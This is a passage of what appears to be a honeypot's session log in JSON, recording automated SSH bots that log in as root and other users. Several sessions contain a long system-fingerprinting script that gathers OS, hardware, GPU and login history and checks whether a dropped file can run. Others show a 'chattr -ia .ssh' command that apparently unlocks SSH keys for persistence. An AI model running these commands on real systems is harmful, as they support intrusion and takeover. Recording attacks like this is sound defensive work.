  "id": "f3540827-ea8f-4166-b7dd-981ca9759f2d",
  "name": "coral-thrifty-penguin",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 34390,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:05:12.546057+00:00",
  "ended_at": "2026-08-26T15:05:12.701045+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "0d61be63-1a1c-4452-9b14-fc7706e888d9",
  "name": "thorny-sincere-gull",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40811,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 784,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:05:04.993523+00:00",
  "ended_at": "2026-08-26T15:05:06.290459+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "063f6da1-5205-41aa-9503-ab50dff3aa55",
  "name": "mottled-kindly-cicada",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40813,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:04:41.934516+00:00",
  "ended_at": "2026-08-26T15:04:43.652067+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a8eba080-6119-47da-8115-b2e7a9eb104e",
  "name": "hushed-wandering-blackbird",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40812,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:04:39.553281+00:00",
  "ended_at": "2026-08-26T15:04:40.421676+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9a9314ef-938f-4455-a66f-2e10dba5a5a7",
  "name": "candid-feathered-vole",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 53630,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 292,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:03:37.292615+00:00",
  "ended_at": "2026-08-26T15:03:38.797555+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "30041156-7a4b-418b-afb4-d8dd206b531e",
  "name": "frugal-plush-gecko",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "43.135.183.82",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:03:36.399666+00:00",
  "ended_at": "2026-08-26T15:18:58.508349+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "04d5f5ce-07e5-4c0a-9ecc-50e39f5f7d51",
  "name": "keen-scarlet-walrus",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 53636,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:03:20.832150+00:00",
  "ended_at": "2026-08-26T15:03:22.424566+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "9fb1042d-99da-4c10-92b0-c1ccfd31ffd4",
  "name": "kindly-nautical-lapwing",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 53632,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:03:19.197324+00:00",
  "ended_at": "2026-08-26T15:03:20.259431+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "4ff04a8c-a105-4708-a5b5-35ceb1798774",
  "name": "sullen-kindly-hedgehog",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 59566,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:03:14.480235+00:00",
  "ended_at": "2026-08-26T15:03:14.591596+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "8bcdf282-e66a-4095-9db8-14fd6ca479e6",
  "name": "prairie-upland-tern",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40808,
  "username": "postgres",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 746,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:01:57.463304+00:00",
  "ended_at": "2026-08-26T15:01:59.089304+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2273
 },
 {
  "id": "4c521e2c-243f-487c-ac3c-46c306e2611e",
  "name": "feathered-daring-salmon",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40810,
  "username": "postgres",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:01:36.496157+00:00",
  "ended_at": "2026-08-26T15:01:37.380498+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "0848e902-05b2-401b-b626-d708e9461d50",
  "name": "tangled-prickly-cicada",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 60838,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 295,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T15:01:36.456019+00:00",
  "ended_at": "2026-08-26T15:01:38.513231+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "72a97f11-e284-47ec-8328-23a7841d0444",
  "name": "electric-icy-osprey",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40809,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:01:33.430092+00:00",
  "ended_at": "2026-08-26T15:01:34.974572+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "a336bf3a-00b9-4bef-ab8d-b8bebc60641e",
  "name": "daring-sullen-wren",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 60858,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:01:19.744688+00:00",
  "ended_at": "2026-08-26T15:01:20.589016+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "297597c6-2305-4b06-ae56-c472dae5ebfb",
  "name": "eager-feral-meerkat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 60844,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:01:18.027944+00:00",
  "ended_at": "2026-08-26T15:01:19.156097+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "12b87106-ca23-4459-a7f2-a017aac4a92e",
  "name": "marine-rambling-bowerbird",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "92.118.39.50",
  "src_port": 56478,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": "export PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:$PATH\nuname=$(uname -s -v -n -m 2>/dev/null || /bin/uname -s -v -n -m 2>/dev/null || /usr/bin/uname -s -v -n -m 2>/dev/null || busybox uname -s -v -n -m 2>/dev/null || ( [ -f /proc/version ] && head -1 /proc/version | cut -d' ' -f1 ) || ( [ -f /etc/os-release ] && grep '^ID=' /etc/os-release | cut -d= -f2 | tr -d '\"' ) || echo \"\")\narch=$(uname -m 2>/dev/null || /bin/uname -m 2>/dev/null || /usr/bin/uname -m 2>/dev/null || busybox uname -m 2>/dev/null || ( [ -f /proc/cpuinfo ] && grep -q \"lm\" /proc/cpuinfo && echo x86_64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 8\" /proc/cpuinfo && echo aarch64 ) || ( [ -f /proc/cpuinfo ] && grep -q \"CPU architecture: 7\" /proc/cpuinfo && echo armv7l ) || echo \"\")\nuptime=$(cat /proc/uptime 2>/dev/null || busybox cat /proc/uptime 2>/dev/null)\ncpus=$(nproc 2>/dev/null || /usr/bin/nproc 2>/dev/null || busybox nproc 2>/dev/null || grep -c \"^processor\" /proc/cpuinfo 2>/dev/null)\ncpu_model=$( { lscpu 2>/dev/null | awk -F: '/Model name/ {print $2}'; grep -m1 -E \"^model name\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; grep -m1 -E \"^Hardware\" /proc/cpuinfo 2>/dev/null | cut -d: -f2-; cat /proc/device-tree/model 2>/dev/null; } | sed '/^$/d; /unknown/d; s/^[[:space:]]*//; s/[[:space:]]*$//; s/ AArch64 Processor$//; s/ Processor$//; s/ CPU$//' | head -1 )\ngpu_info=$( (lspci 2>/dev/null | grep -i vga; lspci 2>/dev/null | grep -i nvidia; busybox lspci 2>/dev/null | grep -i vga; busybox lspci 2>/dev/null | grep -i nvidia) 2>/dev/null )\nlast_output=$(last 2>/dev/null)\nfilter_output=$( ( export LANG=C LC_ALL=C; echo '===SHELL_BEHAVIOR==='; printf 'path_err='; ( ./xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'cmd_err='; ( xxxxxx 2>&1 || true ) | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; printf 'execute_err='; out=$(bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(/usr/bin/bash -c 'printf \"#!/bin/bash\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); case \"$out\" in *xxxxxx*) ;; *) out=$(busybox sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1 || sh -c 'printf \"#!/bin/sh\\necho \\\"xxxxxx\\\"\\n\" > filter && chmod +x filter && ./filter && rm -rf filter' 2>&1); esac; esac; esac; printf '%s' \"$out\" | ( head -c 250 2>/dev/null || busybox head -c 250 2>/dev/null || dd bs=250 count=1 2>/dev/null ) | ( tr -d '\\n' 2>/dev/null || busybox tr -d '\\n' 2>/dev/null || cat ); printf '\\n'; echo '===DONE===' ) 2>&1 )\necho \"UNAME:$uname\"\necho \"ARCH:$arch\"\necho \"UPTIME:$uptime\"\necho \"CPUS:$cpus\"\necho \"CPU_MODEL:$cpu_model\"\necho \"GPU:$gpu_info\"\necho \"LAST:$last_output\"\necho \"FILTER:$filter_output\"",
  "started_at": "2026-08-26T15:01:12.399491+00:00",
  "ended_at": "2026-08-26T15:01:12.843557+00:00",
  "ended_reason": "exec complete",
  "commands": 4,
  "transcript_bytes": 13092
 },
 {
  "id": "d60ba32a-e447-47fd-b161-408965806395",
  "name": "grassy-crimson-condor",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "63.141.242.2",
  "src_port": 63154,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T15:00:01.406757+00:00",
  "ended_at": "2026-08-26T15:00:27.383679+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2e5812ff-72c7-4cf4-b2d7-4a5331157272",
  "name": "tranquil-polar-manatee",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 64610,
  "username": "seekcy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 302,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:59:39.928637+00:00",
  "ended_at": "2026-08-26T14:59:41.567115+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2277
 },
 {
  "id": "d9067a12-1637-4078-a094-b63beaed67b6",
  "name": "solemn-creaky-elk",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 61212,
  "username": "seekcy",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:59:13.867018+00:00",
  "ended_at": "2026-08-26T14:59:15.158829+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "6950cee9-b1b9-44ad-919f-ff2cce7095de",
  "name": "fabled-sincere-flamingo",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "168.167.228.123",
  "src_port": 40805,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 754,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:59:12.507667+00:00",
  "ended_at": "2026-08-26T14:59:13.746782+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2304
 },
 {
  "id": "1f9d2c9c-5765-4152-81f3-e2d6a7211b9c",
  "name": "crisp-brisk-hoopoe",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 64618,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:59:11.985575+00:00",
  "ended_at": "2026-08-26T14:59:13.301229+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "2483fba2-9988-4a66-8746-f7811a322d43",
  "name": "obsidian-freckled-siskin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "92.118.39.50",
  "src_port": 53384,
  "username": "root",
  "client_version": "SSH-2.0-Go",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:58:59.719393+00:00",
  "ended_at": "2026-08-26T14:59:01.917406+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "de57f171-72c4-40c9-8a4b-ea4235040d50",
  "name": "gloomy-austere-dunlin",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40807,
  "username": "root",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:58:50.739552+00:00",
  "ended_at": "2026-08-26T14:58:51.726572+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "7739077f-2d22-43b6-9c28-7fabeb3b79bb",
  "name": "leafy-rambling-loris",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "23.175.50.52",
  "src_port": 51635,
  "username": "user",
  "client_version": "SSH-2.0-PuTTY_Release_0.70",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:58:49.501933+00:00",
  "ended_at": "2026-08-26T14:59:06.619354+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "51ea4b61-26f8-44e0-9cc4-9d755772172f",
  "name": "wiry-painted-pelican",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "168.167.228.123",
  "src_port": 40806,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:58:48.100391+00:00",
  "ended_at": "2026-08-26T14:58:49.246147+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "e3ee7511-773d-41cf-8664-c3417c9f6ccf",
  "name": "bold-lonesome-ocelot",
  "protocol": "ssh",
  "channel_kind": "exec",
  "src_ip": "157.245.34.56",
  "src_port": 62892,
  "username": "sftp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": 288,
  "probe_flagged": 0,
  "exec_command": "cd ~; chattr -ia .ssh; lockr -ia .ssh",
  "started_at": "2026-08-26T14:57:38.476574+00:00",
  "ended_at": "2026-08-26T14:57:40.599679+00:00",
  "ended_reason": "exec complete",
  "commands": 18,
  "transcript_bytes": 2247
 },
 {
  "id": "7ddf590f-de66-464f-b263-0290b9c2417a",
  "name": "ivory-hearty-bittern",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 61442,
  "username": "sftp",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:57:15.814830+00:00",
  "ended_at": "2026-08-26T14:57:16.518170+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "c1ae416f-5c5a-4980-aa77-956246c70449",
  "name": "canny-quartz-wombat",
  "protocol": "ssh",
  "channel_kind": null,
  "src_ip": "157.245.34.56",
  "src_port": 61426,
  "username": "345gs5662d34",
  "client_version": "SSH-2.0-libssh_0.9.6",
  "auth_attempts": 1,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:57:13.647308+00:00",
  "ended_at": "2026-08-26T14:57:15.231480+00:00",
  "ended_reason": "no channel opened",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "65ebde5e-1afc-4024-8630-7513bf112b98",
  "name": "noble-civil-teal",
  "protocol": "http",
  "channel_kind": "http",
  "src_ip": "66.249.66.198",
  "src_port": null,
  "username": null,
  "client_version": "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)",
  "auth_attempts": 0,
  "automation": "bot",
  "think_ms": null,
  "probe_flagged": 0,
  "exec_command": null,
  "started_at": "2026-08-26T14:56:55.807990+00:00",
  "ended_at": "2026-08-26T15:11:58.409469+00:00",
  "ended_reason": "http session idle",
  "commands": 0,
  "transcript_bytes": 0
 },
 {
  "id": "897439c2-5925-438a-8b14-2eabc9021a13",
  "name": "fickle-bronzed-vervet",
